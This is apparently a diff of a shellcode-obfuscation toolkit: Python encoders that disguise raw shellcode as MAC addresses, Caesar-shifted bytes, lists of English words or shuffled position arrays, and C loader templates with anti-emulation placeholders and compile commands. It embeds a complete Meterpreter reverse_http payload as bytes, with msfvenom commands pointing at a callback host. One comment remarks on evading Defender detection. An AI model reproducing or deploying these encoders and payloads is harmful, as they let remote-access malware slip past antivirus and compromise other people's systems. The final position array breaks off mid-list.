||||
def bin2mac(input_file) -> str:
|
||||
if False:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-i", "--input", type=str,
|
||||
help="File containing raw shellcode. Defaults to beacon.bin.")
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
# No arguments received. Print help and exit
|
||||
parser.print_help(sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
if args.input:
|
||||
input_file = args.input
|
||||
else:
|
||||
input_file = "beacon.bin"
|
||||
|
||||
# Read input shellcode file to get it in MAC format
|
||||
raw_macs = []
|
||||
chunk_size = 6
|
||||
with open(input_file, "rb") as f:
|
||||
chunk = f.read(chunk_size)
|
||||
while chunk:
|
||||
if len(chunk) < chunk_size:
|
||||
padding = chunk_size - len(chunk)
|
||||
chunk = chunk + (b"\x90" * padding)
|
||||
raw_macs.append('{:02x}-{:02x}-{:02x}-{:02x}-{:02x}-{:02x}'.format(*chunk))
|
||||
break
|
||||
|
||||
raw_macs.append('{:02x}-{:02x}-{:02x}-{:02x}-{:02x}-{:02x}'.format(*chunk))
|
||||
chunk = f.read(chunk_size)
|
||||
|
||||
# Format our MACs 2 per line
|
||||
macs_string = format_MAC(raw_macs)
|
||||
|
||||
# not used currently
|
||||
#macs_string += "\nsize_t shellcode_size_2 = {};".format(len(raw_macs)*6 )
|
||||
|
||||
return macs_string
|
||||
|
||||
if False:
|
||||
# Place our IPs in the template
|
||||
template_name = 'template/bin2mac.c.template'
|
||||
template = insert_MAC(macs, template_name)
|
||||
|
||||
# Write out the loader source code
|
||||
with open('bin2mac.c', 'w') as output_file:
|
||||
output_file.write(template)
|
||||
@@ -0,0 +1,23 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
def caesar(sc_list):
|
||||
sc = []
|
||||
for x in sc_list:
|
||||
if (int(x) + 13) > 255:
|
||||
sc.append(hex(x + 13 - 256))
|
||||
else:
|
||||
sc.append(hex(x + 13))
|
||||
return sc
|
||||
|
||||
|
||||
# msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,0x40,0x20,0x50,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x10,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x39,0x30,0x2e,0x31,0x33,0x34,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x48,0x00,0x00,0x00,0x2f,0x37,0x4f,0x4a,0x67,0x49,0x32,0x4b,0x6c,0x4c,0x4f,0x76,0x79,0x47,0x76,0x4d,0x59,0x6c,0x2d,0x4e,0x51,0x71,0x51,0x46,0x6b,0x33,0x53,0x72,0x39,0x43,0x58,0x45,0x57,0x6e,0x77,0x6a,0x62,0x4d,0x76,0x32,0x37,0x41,0x39,0x76,0x43,0x31,0x4a,0x56,0x5f,0x62,0x62,0x32,0x76,0x70,0x4b,0x78,0x62,0x71,0x64,0x58,0x45,0x42,0x47,0x37,0x66,0x71,0x67,0x2d,0x4c,0x67,0x62,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x02,0x28,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xcc,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5]
|
||||
|
||||
new_sc = caesar(shellcode)
|
||||
|
||||
print('char caesar[{0}] = {{{1}}};'.format(str(len(new_sc)), ', '.join(x for x in new_sc)))
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,44 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjargon.c /link /out:jargon.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void)
|
||||
{
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
/* SHELLCODE will look like this:
|
||||
unsigned char* translation_table[256] = { "music","taste","wings","audio","endif","winds","crime","bonus","lanka","honey","simon","manor","screw","puppy","surge","watts","upper","dance","touch","heavy","tumor","scale","acute","wider","strap","tooth","colon","karen","fever","quiet","chart","donna","yacht","human","devil","belly","heath","class","shall","these","funds","discs","atlas","dying","arrow","spies","pairs","young","amber","exist","glory","offer","swift","focal","larry","bobby","tires","items","skirt","adult","blond","roman","stick","elvis","slope","scuba","value","lexus","cells","happy","joins","india","yards","smoke","train","bacon","sheet","blink","dairy","latex","feels","guide","shoot","holly","armor","bench","tours","cedar","fires","bands","firms","roads","known","going","mails","speak","laugh","heard","study","logan","packs","level","carey","shirt","loose","tapes","goals","maine","uncle","shine","dense","cases","cache","cards","favor","disks","coins","nokia","enter","fatty","bring","anger","singh","tribe","notre","saint","emily","moses","brown","kathy","busty","squad","gamma","debug","nikon","judge","guest","claim","lobby","bears","maybe","close","basic","catch","alarm","meant","chain","meyer","vital","clock","keith","ports","theme","enjoy","abuse","rooms","pipes","broad","words","outer","point","users","paste","aruba","hairy","spice","taxes","teach","paris","plate","roger","title","stone","gates","texts","smart","trade","berry","worry","photo","tunes","storm","panic","pumps","hello","fuzzy","mouth","joyce","grows","email","teddy","pills","birth","games","pride","skype","meter","yours","lyric","means","picks","diane","wagon","rouge","kevin","focus","scott","dolls","frost","today","small","alpha","track","smith","james","wanna","buses","spots","eight","stuck","indie","clean","weeks","jewel","solve","opens","civic","usage","array","nodes","mason","roots","sugar","dirty","sight","jesus","lloyd","strip","dream","might","tions","grams","brass","hired","julia","crazy","flood","march","combo","drops","delta","shaft","spank","jesse","arena","visit" };
|
||||
unsigned char* translated_shellcode[598] = { "spank","yards","squad","array","tions","sugar","kevin","music","music","music","scuba","guide","scuba","feels","shoot","guide","yards","exist","small","tours","level","yards","bears","shoot","laugh","yards","bears","shoot","strap","yards","bears","shoot","yacht","yards","watts","pumps","train","train","yards","bears","favor","feels","blink","exist","diane","yards","exist","birth","stone","blond","heard","notre","wings","arrow","yacht","scuba","games","diane","puppy","scuba","taste","games","civic","strip","shoot","yards","bears","shoot","yacht","scuba","guide","bears","value","blond","yards","taste","frost","carey","kathy","bring","strap","manor","wings","watts","debug","favor","music","music","music","bears","brown","guest","music","music","music","yards","debug","birth","coins","shirt","yards","taste","frost","feels","bears","yards","strap","cells","bears","slope","yacht","smoke","taste","frost","usage","tours","blink","exist","diane","yards","visit","diane","scuba","bears","swift","guest","yards","taste","james","yards","exist","birth","stone","scuba","games","diane","puppy","scuba","taste","games","tires","solve","nokia","grams","sheet","audio","sheet","heath","lanka","happy","items","today","nokia","buses","fires","cells","bears","slope","heath","smoke","taste","frost","carey","scuba","bears","screw","yards","cells","bears","slope","fever","smoke","taste","frost","scuba","bears","endif","guest","scuba","fires","scuba","fires","mails","yards","taste","frost","bands","firms","scuba","fires","scuba","bands","scuba","firms","yards","squad","lloyd","yacht","scuba","shoot","visit","solve","fires","scuba","bands","firms","yards","bears","touch","dirty","bacon","visit","visit","visit","going","yards","exist","stuck","holly","smoke","teddy","fatty","tapes","dense","tapes","dense","level","coins","music","scuba","tours","yards","claim","opens","smoke","means","pride","sheet","fatty","shall","bonus","visit","smith","holly","holly","yards","claim","opens","holly","firms","blink","exist","birth","blink","exist","diane","holly","holly","smoke","mouth","skirt","tours","anger","teach","music","music","music","music","visit","smith","sugar","upper","music","music","music","exist","items","glory","pairs","exist","larry","tires","pairs","exist","items","amber","pairs","exist","offer","swift","music","firms","yards","claim","games","smoke","means","birth","feels","music","music","music","blink","exist","diane","holly","holly","goals","audio","holly","smoke","mouth","cedar","claim","outer","lyric","music","music","music","music","visit","smith","sugar","blink","music","music","music","young","favor","level","happy","enter","packs","packs","goals","larry","cards","dense","train","maine","train","glory","bench","uncle","scuba","packs","larry","shirt","heard","scuba","enter","goals","enter","favor","maine","tapes","holly","lexus","cache","larry","blink","bacon","tours","disks","fires","fires","fatty","favor","dairy","singh","disks","loose","goals","loose","uncle","maine","cells","offer","bacon","logan","value","nokia","larry","scuba","maine","packs","lexus","fires","tires","coins","yards","larry","enter","train","sheet","fires","larry","bacon","shoot","cedar","bench","dense","cedar","music","yards","claim","games","holly","firms","scuba","fires","blink","exist","diane","holly","yards","hello","music","wings","funds","gamma","music","music","music","music","feels","holly","holly","smoke","means","pride","jesus","bench","pairs","adult","visit","smith","yards","claim","lyric","goals","simon","speak","holly","firms","yards","claim","grams","blink","exist","diane","blink","exist","diane","holly","holly","smoke","means","pride","spies","crime","strap","tribe","visit","smith","debug","birth","nokia","donna","yards","means","games","guest","heavy","music","music","smoke","mouth","cells","tions","focal","solve","music","music","music","music","visit","smith","yards","visit","dolls","coins","wings","jesus","kevin","sugar","bench","music","music","music","holly","bands","goals","slope","firms","smoke","claim","today","games","civic","upper","smoke","means","birth","music","upper","music","music","smoke","mouth","fires","hairy","holly","nodes","music","music","music","music","visit","smith","yards","meyer","holly","holly","yards","claim","roots","yards","claim","grams","yards","claim","eight","smoke","means","birth","music","yacht","music","music","smoke","claim","drops","smoke","mouth","touch","keith","claim","civic","music","music","music","music","visit","smith","yards","squad","meter","yacht","debug","birth","coins","worry","carey","bears","bonus","yards","taste","skype","debug","birth","nokia","small","fires","skype","fires","goals","music","bands","smoke","means","pride","tions","storm","paste","tours","visit","smith" };
|
||||
|
||||
unsigned char shellcode[598] = {0};
|
||||
int sc_len = sizeof(shellcode);
|
||||
|
||||
for (int sc_index = 0; sc_index < 598; sc_index++) {
|
||||
printf(""); // Defender is detecting the translation routine ¯\_(ツ)_/¯
|
||||
for (int tt_index = 0; tt_index <= 255; tt_index++) {
|
||||
if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) {
|
||||
shellcode[sc_index] = tt_index;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
import random
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
def gen_word_combinations(dict_file):
|
||||
# read in words dictionary
|
||||
try:
|
||||
with open(dict_file) as dictionary:
|
||||
words = dictionary.readlines()
|
||||
except FileNotFoundError:
|
||||
exit("\n\nThe dictionary you specified does not exist! Please specify a valid file path.\nExiting...\n")
|
||||
|
||||
# Select random words from dictionary
|
||||
# why is this 257? It fails at 256
|
||||
try:
|
||||
random_words = random.sample(words, 257)
|
||||
return random_words
|
||||
except ValueError:
|
||||
exit("\n\nThe dictionary file you specified does not contain at least 256 words!\nExiting...\n")
|
||||
|
||||
|
||||
def get_shellcode(input_file):
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
file_shellcode = file_shellcode.strip()
|
||||
binary_code = ''
|
||||
|
||||
for byte in file_shellcode:
|
||||
binary_code += "\\x" + hex(byte)[2:].zfill(2)
|
||||
|
||||
raw_shellcode = "0" + ",0".join(binary_code.split("\\")[1:])
|
||||
|
||||
return(raw_shellcode)
|
||||
|
||||
except FileNotFoundError:
|
||||
exit("\n\nThe input file you specified does not exist! Please specify a valid file path.\nExiting...\n")
|
||||
|
||||
|
||||
def jargon(input_file):
|
||||
if False:
|
||||
### Parse our arguments
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-d", "--dictionary", type=str,
|
||||
help="Dictionary file. Defaults to 'dictionary.txt.'")
|
||||
parser.add_argument("-i", "--input", type=str,
|
||||
help="File containing raw shellcode.")
|
||||
parser.add_argument("-o", "--output", type=str,
|
||||
help="Output file. Defaults to 'generated.c.'")
|
||||
|
||||
args = parser.parse_args()
|
||||
if len(sys.argv) == 1:
|
||||
# No arguments received. Print help and exit
|
||||
parser.print_help(sys.stderr)
|
||||
sys.exit(0)
|
||||
|
||||
if args.input:
|
||||
input_file = args.input
|
||||
else:
|
||||
input_file = "beacon.bin"
|
||||
|
||||
if args.output:
|
||||
output_file = args.output
|
||||
else:
|
||||
output_file = "generated.c"
|
||||
|
||||
if args.dictionary:
|
||||
dict_file = args.dictionary
|
||||
else:
|
||||
dict_file = "dictionary.txt"
|
||||
|
||||
# absolute path because our working directory
|
||||
# will be the root of the project
|
||||
dict_file = "chromatophore/jargon/google-10000-english-usa-5char.txt"
|
||||
|
||||
'''
|
||||
Build translation table
|
||||
'''
|
||||
words = gen_word_combinations(dict_file)
|
||||
english_array = []
|
||||
for i in range(0, 256):
|
||||
english_array.append(words.pop(1).strip())
|
||||
|
||||
tt_index = 0
|
||||
translation_table = 'unsigned char* translation_table[XXX] = { '
|
||||
for word in english_array:
|
||||
translation_table = translation_table + '"' + word + '",'
|
||||
tt_index = tt_index + 1
|
||||
|
||||
translation_table = translation_table.rstrip(', ') + ' };\n'
|
||||
translation_table = translation_table.replace('XXX', str(tt_index))
|
||||
|
||||
'''
|
||||
Read and format shellcode
|
||||
'''
|
||||
shellcode = get_shellcode(input_file)
|
||||
sc_len = len(shellcode.split(','))
|
||||
print('Shellcode length: ', sc_len)
|
||||
#sc_index = 0
|
||||
|
||||
|
||||
'''
|
||||
Translate shellcode using list comprehension
|
||||
'''
|
||||
translated_shellcode_gen = ('"{}"'.format(english_array[int(byte, 16)]) for byte in shellcode.split(','))
|
||||
translated_shellcode = 'unsigned char* translated_shellcode[XXX] = { ' + ','.join(translated_shellcode_gen)
|
||||
translated_shellcode = translated_shellcode.strip(',\'') + ' };\n'
|
||||
translated_shellcode = translated_shellcode.replace('XXX', str(sc_len))
|
||||
|
||||
shellcode_var = "unsigned char shellcode[XXX] = {0};";
|
||||
shellcode_var = shellcode_var.replace('XXX', str(sc_len))
|
||||
|
||||
generated_forloop = '''
|
||||
printf("Translating shellcode!\\n");
|
||||
/*
|
||||
for loop is defined as such:
|
||||
for (int sc_index = 0; sc_index < # of shelcode bytes; sc_index++)
|
||||
*/
|
||||
for (int sc_index = 0; sc_index < XXX; sc_index++) {
|
||||
for (int tt_index = 0; tt_index <= 255; tt_index++) {
|
||||
//if (translation_table[tt_index] == translated_shellcode[sc_index]) {
|
||||
if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) {
|
||||
shellcode[sc_index] = tt_index;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
'''
|
||||
generated_forloop = generated_forloop.replace('XXX', str(sc_len))
|
||||
|
||||
'''
|
||||
Save the results
|
||||
'''
|
||||
res = ""
|
||||
res += translation_table + '\n'
|
||||
res += translated_shellcode + '\n'
|
||||
res += shellcode_var + '\n'
|
||||
res += 'int sc_len = sizeof(shellcode);\n'
|
||||
res += generated_forloop + '\n'
|
||||
return res
|
||||
@@ -0,0 +1,43 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjigsaw.c /link /out:jigsaw.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void)
|
||||
{
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 jigsaw.py met.bin
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
/* ORIGINAL
|
||||
unsigned char jigsaw[598] = { 0x00, 0x3b, 0xc3, 0x44, 0x00, 0x58, 0x41, 0x07, 0xba, 0x53, 0x6a, 0x48, 0x4d, 0x20, 0xc0, 0x55, 0x01, 0x4d, 0x8b, 0xcc, 0x00, 0x53, 0x0f, 0x00, 0x72, 0x76, 0xff, 0x4d, 0x56, 0x18, 0x41, 0xc9, 0x4d, 0x89, 0x38, 0x74, 0x00, 0xc4, 0xc1, 0xc0, 0x6a, 0x53, 0x4c, 0x00, 0x49, 0x48, 0x53, 0x12, 0xc9, 0x76, 0x83, 0x1f, 0x48, 0xdb, 0x00, 0x49, 0x31, 0x41, 0xc1, 0x4b, 0x64, 0x44, 0x65, 0x12, 0x72, 0x53, 0x49, 0x0f, 0x5a, 0x49, 0x0d, 0xc0, 0x89, 0xf9, 0x58, 0x75, 0x01, 0x00, 0x51, 0x53, 0xc0, 0x00, 0x41, 0x48, 0x38, 0x48, 0xe2, 0x35, 0xd5, 0x48, 0x31, 0x41, 0x00, 0x00, 0x40, 0xff, 0xda, 0xb2, 0x48, 0xe9, 0x00, 0xff, 0xd2, 0x52, 0x53, 0x53, 0xd1, 0x8b, 0xba, 0xd5, 0x89, 0x88, 0x71, 0x31, 0xfc, 0x6b, 0x20, 0x00, 0x00, 0xc7, 0x81, 0x48, 0x48, 0x66, 0xe8, 0xc0, 0x53, 0x8b, 0xc1, 0x4a, 0x6e, 0x50, 0x00, 0x00, 0x00, 0x3a, 0x58, 0x4d, 0x89, 0x48, 0x66, 0x10, 0x48, 0x61, 0x56, 0x41, 0x8b, 0x36, 0x39, 0xc9, 0xeb, 0xd5, 0x48, 0x00, 0x52, 0x45, 0x50, 0x85, 0x18, 0x59, 0x00, 0x00, 0x3c, 0x00, 0x20, 0x5e, 0x52, 0x49, 0x65, 0xc7, 0x8b, 0x56, 0x48, 0xd0, 0x4e, 0x36, 0x5a, 0x60, 0x58, 0x06, 0x5f, 0x69, 0x4c, 0x48, 0x85, 0xff, 0x00, 0x6e, 0x41, 0x58, 0xf0, 0x45, 0x01, 0x00, 0x67, 0x4b, 0x01, 0x08, 0xd6, 0x8b, 0x53, 0xff, 0x00, 0x75, 0x00, 0x55, 0x58, 0x32, 0x4d, 0xe1, 0x00, 0x41, 0x31, 0x8b, 0x44, 0x00, 0x8b, 0x31, 0x53, 0xe8, 0x49, 0x89, 0xc6, 0x00, 0x48, 0x41, 0x42, 0x56, 0xe8, 0x76, 0xa4, 0x2e, 0x02, 0x31, 0x38, 0x8b, 0x72, 0xe7, 0x8b, 0xc2, 0xd5, 0x49, 0xb5, 0x0d, 0x00, 0x00, 0x72, 0x68, 0x00, 0xe2, 0x33, 0xff, 0x00, 0xd5, 0x41, 0x10, 0xc2, 0x00, 0x52, 0xf0, 0x00, 0x49, 0x58, 0x48, 0xeb, 0x70, 0x40, 0x8b, 0x53, 0x52, 0x69, 0x40, 0x77, 0x30, 0x89, 0x00, 0xbe, 0x2e, 0x96, 0x2c, 0x44, 0x00, 0x5a, 0x01, 0x20, 0x6e, 0x74, 0x41, 0x34, 0x6b, 0x2d, 0x89, 0xff, 0x53, 0x36, 0x48, 0x48, 0x31, 0x6e, 0x48, 0xd1, 0x44, 0xd8, 0x01, 0x36, 0x75, 0xe4, 0x00, 0x4a, 0xed, 0x48, 0x4d, 0x6c, 0x36, 0xf1, 0xc0, 0x50, 0x6b, 0xff, 0x00, 0x53, 0x6a, 0x31, 0xd0, 0xc1, 0x6a, 0x01, 0xd5, 0x4d, 0xc9, 0x41, 0x00, 0x00, 0x55, 0xff, 0x41, 0x48, 0x31, 0x41, 0x33, 0x64, 0x4a, 0x36, 0x00, 0xd2, 0x73, 0x8b, 0x53, 0xcc, 0x4c, 0x20, 0xe8, 0x49, 0x53, 0xe0, 0x85, 0xf1, 0x4d, 0x48, 0x48, 0x10, 0x00, 0xf0, 0x6a, 0x41, 0x55, 0x51, 0x2f, 0x93, 0x28, 0xe5, 0x52, 0xe3, 0x66, 0x75, 0xba, 0x31, 0xff, 0x59, 0x00, 0x0a, 0x0c, 0x2e, 0x31, 0x4a, 0x13, 0x49, 0x48, 0x5d, 0x4b, 0x18, 0x64, 0x00, 0x40, 0x48, 0x89, 0x67, 0x77, 0x59, 0xb7, 0x53, 0xc7, 0xe2, 0x31, 0x00, 0x41, 0xc3, 0x00, 0xc0, 0x58, 0xba, 0x00, 0xc0, 0x48, 0x58, 0x58, 0xe1, 0x41, 0x76, 0x00, 0x01, 0x4d, 0xc9, 0x58, 0xc7, 0xff, 0x04, 0x34, 0x24, 0x49, 0x89, 0x89, 0x85, 0x26, 0x75, 0x59, 0x89, 0x00, 0x73, 0x49, 0x69, 0x01, 0x84, 0x8b, 0x20, 0x43, 0xc2, 0x78, 0x53, 0x6b, 0x50, 0x8b, 0x00, 0x0b, 0x48, 0x48, 0xac, 0x53, 0x02, 0x42, 0xe0, 0x5a, 0x18, 0x48, 0x56, 0x31, 0xc9, 0x59, 0x53, 0x43, 0x1c, 0x8b, 0x41, 0x4c, 0xd0, 0x31, 0x00, 0xac, 0x00, 0x20, 0x6c, 0x48, 0x49, 0x74, 0xd5, 0x83, 0x36, 0x56, 0x41, 0x48, 0x53, 0x48, 0xc7, 0x57, 0x9f, 0x51, 0x03, 0x79, 0x88, 0x49, 0x4b, 0x49, 0x65, 0xcf, 0x7a, 0xc1, 0x7b, 0x57, 0x88, 0x72, 0x68, 0xff, 0xf1, 0x00, 0xc6, 0xc1, 0xc9, 0x3c, 0x57, 0x32, 0xc0, 0x6a, 0x52, 0xd0, 0x41, 0xa7, 0x5a, 0x49, 0x5a, 0x41, 0xc9, 0x63, 0xb8, 0xff, 0x07, 0x00, 0x31, 0xc0, 0xc9, 0xba, 0x74, 0x61, 0x02, 0x64, 0xc7, 0xa2, 0x48, 0x6a, 0x01, 0x00, 0x5a, 0x2e, 0x4a, 0xc9, 0x49, 0x7c, 0x50, 0x49, 0x85, 0x83, 0x48, 0x8b, 0x80, 0xd5, 0xc7, 0x24, 0x00, 0xd0, 0x00, 0xc7, 0x58, 0x02, 0xd5, 0xe0, 0xc1, 0x41, 0x89, 0xc2, 0xd0, 0x58, 0xff, 0x39, 0xc1, 0x74, 0x31, 0xff, 0x48, 0x00, 0x88, 0x5a, 0x89, 0x77, 0xec, 0x48, 0x03, 0x48, 0x39, 0x52 };
|
||||
int positions[598] = { 546, 434, 584, 155, 561, 365, 192, 240, 477, 427, 440, 390, 116, 54, 545, 432, 112, 411, 123, 494, 485, 407, 83, 8, 40, 392, 563, 250, 261, 461, 178, 304, 451, 446, 281, 227, 290, 567, 134, 580, 351, 306, 394, 272, 543, 530, 454, 555, 44, 331, 195, 468, 129, 217, 317, 505, 254, 190, 508, 210, 345, 107, 226, 208, 353, 455, 219, 34, 444, 456, 58, 97, 405, 552, 202, 381, 75, 7, 11, 305, 131, 525, 409, 25, 140, 437, 509, 480, 242, 469, 279, 133, 422, 524, 157, 212, 542, 572, 95, 209, 560, 486, 18, 27, 244, 243, 151, 207, 311, 529, 246, 472, 336, 43, 0, 375, 568, 483, 264, 429, 78, 576, 166, 162, 270, 297, 414, 26, 61, 37, 225, 41, 559, 516, 273, 260, 410, 253, 551, 29, 77, 510, 183, 348, 19, 229, 164, 382, 150, 121, 431, 269, 126, 92, 14, 149, 298, 84, 80, 186, 300, 267, 49, 526, 110, 182, 398, 589, 329, 512, 574, 115, 1, 76, 368, 346, 504, 24, 154, 460, 442, 355, 237, 540, 579, 489, 228, 337, 180, 387, 4, 330, 60, 9, 347, 378, 577, 148, 128, 168, 248, 241, 324, 152, 266, 496, 181, 277, 448, 233, 423, 174, 130, 30, 167, 527, 89, 46, 309, 322, 258, 535, 315, 274, 415, 344, 380, 230, 5, 352, 521, 433, 52, 287, 388, 66, 328, 536, 104, 430, 597, 511, 593, 136, 325, 417, 367, 371, 86, 62, 377, 435, 474, 564, 383, 271, 458, 316, 23, 479, 498, 428, 179, 215, 493, 358, 503, 22, 356, 67, 224, 109, 221, 285, 313, 562, 220, 278, 556, 53, 478, 549, 187, 127, 32, 401, 98, 55, 289, 354, 459, 293, 213, 256, 335, 65, 206, 216, 223, 119, 507, 376, 153, 101, 391, 581, 3, 424, 36, 63, 565, 360, 343, 396, 143, 252, 103, 384, 268, 484, 443, 307, 283, 113, 294, 586, 184, 436, 302, 413, 69, 499, 475, 342, 463, 188, 445, 452, 349, 288, 333, 340, 359, 299, 582, 370, 71, 257, 6, 144, 547, 495, 518, 500, 201, 569, 539, 42, 100, 231, 515, 265, 592, 334, 122, 400, 15, 327, 531, 419, 523, 199, 114, 573, 467, 554, 17, 200, 204, 87, 441, 165, 286, 251, 393, 473, 159, 194, 214, 397, 106, 385, 318, 169, 105, 538, 99, 366, 191, 35, 426, 235, 558, 412, 517, 203, 578, 319, 570, 583, 519, 403, 47, 534, 364, 585, 247, 10, 350, 94, 138, 323, 453, 520, 457, 320, 176, 124, 158, 476, 557, 438, 96, 239, 142, 588, 541, 482, 363, 171, 222, 172, 420, 39, 68, 357, 236, 79, 533, 339, 13, 175, 497, 81, 245, 45, 48, 522, 418, 72, 141, 205, 28, 537, 362, 449, 135, 501, 218, 386, 170, 156, 12, 146, 102, 117, 421, 132, 93, 197, 374, 21, 111, 389, 321, 2, 280, 595, 59, 33, 532, 16, 590, 312, 314, 70, 308, 262, 125, 295, 361, 553, 20, 490, 369, 139, 462, 399, 177, 85, 373, 596, 447, 514, 439, 471, 450, 73, 402, 341, 466, 372, 64, 161, 198, 263, 249, 550, 193, 163, 57, 379, 416, 211, 575, 301, 275, 513, 255, 259, 491, 50, 492, 332, 544, 594, 488, 502, 160, 548, 